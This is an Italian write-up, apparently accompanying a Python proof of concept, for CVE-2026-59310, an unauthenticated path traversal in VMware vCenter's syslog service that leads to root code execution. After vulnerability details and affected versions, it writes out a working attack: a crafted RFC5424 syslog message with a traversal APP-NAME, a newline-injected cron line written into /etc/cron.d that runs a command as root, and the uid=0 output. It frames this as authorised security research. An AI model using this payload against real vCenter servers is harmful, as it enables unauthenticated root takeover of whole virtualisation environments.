
PoC ed exploit in Python per CVE-2026-59310, un path traversal nel syslog di VMware vCenter che porta a RCE root non autenticato tramite cron injection, con indicazioni per il rilevamento e la pulizia.
Disclaimer: questo progetto è destinato esclusivamente a test di sicurezza autorizzati, verifica di vulnerabilità e ricerca difensiva. Utilizzalo solo in ambienti per cui disponi di autorizzazione scritta esplicita. L'utente si assume ogni responsabilità per eventuali conseguenze derivanti da un uso improprio.
| Voce | Contenuto |
|---|---|
| Nome vulnerabilità | Path Traversal nella directory syslog di VMware vCenter |
| Identificativo | CVE-2026-59310 |
| Tipo | Path Traversal → scrittura arbitraria di file → esecuzione di codice in remoto |
| CVSS 3.1 | 9.8 (Critical) |
| Prerequisiti di exploit | È sufficiente che la porta syslog sia raggiungibile (UDP/TCP 514 predefinita), nessuna credenziale richiesta |
| Conseguenze | Scrittura su percorso arbitrario ed esecuzione di codice arbitrario con privilegi root |
| Data di divulgazione | 2026-07-29 |
| Sfruttamento in the wild | Rilevato |
| Avviso del fornitore | VMSA-2026-0006 |
Il servizio di ricezione syslog integrato in vCenter (rsyslog) utilizza un template di percorso dinamico per salvare i log; il template concatena direttamente i campi APP-NAME e HOSTNAME dell'header del messaggio nel percorso del file, senza alcuna sanificazione del percorso. Un attaccante può inviare un messaggio appositamente craftato alla porta syslog raggiungibile, facendo sì che il percorso di scrittura fuoriesca dalla directory di log prevista, e combinando poi con attività pianificate per ottenere l'esecuzione di codice arbitrario.
vCenter è il fulcro della gestione della virtualizzazione: una sua compromissione equivale alla perdita dell'intero ambiente vSphere / VCF.
Versioni interessate (precedenti alle seguenti versioni corrette)
| Branch | Intervallo interessato | Versione corretta |
|---|---|---|
| 9.1 | < 9.1.0.0300 | 9.1.0.0300 |
| 9.0 | < 9.0.2.0100 | 9.0.2.0100 (Build 25629525) |
| 8.0 U3 | < 8.0 U3k | 8.0 U3k |
| 8.0 U2 | < 8.0 U2f | 8.0 U2f |
| 8.0 versione iniziale / U1 | Tutte | Aggiornare a 8.0 U3k o superiore seguendo i percorsi supportati |
| 7.0 | Patch di supporto esteso corrispondente non installata | Contattare Broadcom per la patch, oppure migrare a una versione supportata |
Interessa inoltre: vCenter distribuiti in modo autonomo, nonché i componenti vCenter interessati utilizzati in VMware Cloud Foundation, VMware vSphere Foundation e VMware Telco Cloud.
Ambiente verificato: VMware vCenter Server 9.0.2.0 / Build 25148086, precedente alla versione corretta 25629525, quindi effettivamente non corretta.
/etc/rsyslog.conf (configurazione predefinita di fabbrica VMware):
29: $template defaultLoc, "/var/log/vmware/%app-name%/%app-name%-syslog.log"
33: $template rsyslogadminLoc,"/var/log/vmware/%app-name%/%app-name%-syslog.log"
35: $template esxLoc, "/var/log/vmware/esx/%hostname%/%hostname%-syslog.log"
%app-name% viene utilizzato contemporaneamente come nome di directory e nome di file, senza alcuna sanificazione del percorso.
63: :app-name, startswith, "rsyslog" ?rsyslogadminLoc;rsyslogadminFmt
È richiesta solo una corrispondenza di prefisso: un attaccante può usare rsyslog/... per soddisfare la regola ed entrare nel template di percorso dinamico.
24: $EscapeControlCharactersOnReceive off
I caratteri di nuova riga nel contenuto del messaggio vengono scritti su disco così come sono, consentendo all'attaccante di controllare la struttura delle righe del file scritto.
Questo è l'aspetto di questa vulnerabilità più facilmente sottovalutato.
/ non è consentito per impostazione predefinita, quindi APP-NAME viene troncato in corrispondenza di / → nessun traversal possibile.APP-NAME è un campo indipendente separato da spazi, non soggetto a validazione tramite whitelist di caratteri; / e .. vengono preservati così come sono → traversal possibile.Il server input(type="imudp" port="514") utilizza il ruleset predefinito e accetta anche messaggi RFC5424. All'attaccante è sufficiente formattare il messaggio in formato RFC5424 perché i caratteri di traversal raggiungano direttamente il percorso del file.
Confronto sperimentale (stesso payload rsyslog/../../../../tmp/x):
| Parser | Valore effettivo di %app-name% |
|---|---|
| pmrfc3164 | rsyslog ← troncato in corrispondenza di / |
| pmrfc5424 | rsyslog/../../../../tmp/x ← preservato integralmente |
Prova indiretta: un semplice
..viene creato come nome di directory letterale (ad esempiorsyslog..), il che dimostra che il livello omfile di rsyslog non esegue la normalizzazione di..; ciò che determina realmente il successo è la capacità del parser di far arrivare/nel campo.
① Pacchetto UDP non autenticato → ② APP-NAME RFC5424 con traversal → ③ Fuoriuscita dalla directory di log con scrittura arbitraria (root)
↓
⑤ Esecuzione di codice come root ← ④ Impianto di attività pianificata in /etc/cron.d
<134>1 2026-01-05T12:00:00Z h rsyslog/../../../../tmp/PWNED 1 ID - hello
Sostituendo nel template:
Directory = /var/log/vmware/rsyslog/../../../../tmp/PWNED → /tmp/PWNED
File = come sopra + "-syslog.log" → /tmp/PWNED-syslog.log
Risultato: scrittura di /tmp/PWNED-syslog.log con proprietario root, creazione automatica delle directory padre mancanti, contenuto completamente controllabile.
Il nome del file scritto termina sempre con -syslog.log, quindi non è possibile sovrascrivere direttamente /etc/cron.d/xxx.
Tuttavia, sfruttando il passaggio dei caratteri di nuova riga, è possibile iniettare una nuova riga nel MSG, facendo iniziare il contenuto controllabile dalla colonna 0 del file:
2026-01-05T12:00:00Z info rsyslog/../../../../../etc/cron.d/poc ← cron segnala "bad minute", ignorata
* * * * * root /bin/sh -c '{ id; } > /tmp/out.txt 2>&1' ← eseguita come riga cron valida
#
crond la esegue con privilegi root, ottenendo:
uid=0(root) gid=0(root) groups=0(root),4044(shellaccess)
/opt/vmware/share/htdocs/ (lighttpd in ascolto sulla 5480),
quindi lettura tramite https://<target>:5480/..., in linea con la descrizione dell'avviso del fornitore./var/spool/cron/root: è possibile scrivere in questa directory, ma serve un file chiamato esattamente root,
vincolo dovuto al suffisso -syslog.log, quindi /etc/cron.d/ è più diretto.